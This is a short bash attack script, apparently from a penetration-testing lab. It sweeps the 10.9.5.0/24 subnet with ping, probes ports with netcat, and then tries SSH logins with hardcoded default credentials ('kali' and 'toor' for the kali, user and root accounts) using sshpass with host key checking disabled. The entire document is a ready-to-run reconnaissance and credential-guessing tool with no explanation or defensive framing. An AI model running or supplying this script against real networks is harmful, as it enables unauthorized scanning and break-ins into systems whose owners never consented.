for ip in {1..254}; do ping -w 1 10.9.5.$ip | grep -i "ttl"; done

for ip in $(cat ips.txt); do nc -nvw 1 $ip 80; done

#!/bin/bash
for ip in {2..255}
do ip_check=$(ping -w 1 10.9.5.$ip | grep -i "icmp_seq" | cut -d " " -f 4 | cut -d ":" -f 1)
if [ ! -z $ip_check ]
then
echo -e "\e[01;32mHost $ip_check is up. Cheking SSH\e[00m";
nc -vz -w 2 $ip_check 22 > log.txt 2>&1;
ssh_refused=$(grep -o "refused" log.txt)
ssh_timeout=$(grep -o "timed" log.txt)
if [ ! -z $ssh_refused ]
then
echo -e "\e[01;31mSSH is closed. Going further. \e[00m";
echo " ";
elif [ ! -z $ssh_timeout ]
then
echo -e "\e[01;31mSSH doesn't respond. Going further. \e[00m";
echo " ";
else
echo -e "\e[01;32mSSH is open. Trying to connect... \e[00m";
sshpass -p "kali" ssh -o StrictHostKeyChecking=no kali@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no user@$ip_check;
sshpass -p "toor" ssh -o StrictHostKeyChecking=no root@$ip_check;
echo " ";
fi
fi
done
rm log.txt;
echo -e "\e[01;32mEnumeration has been finished! \e[00m";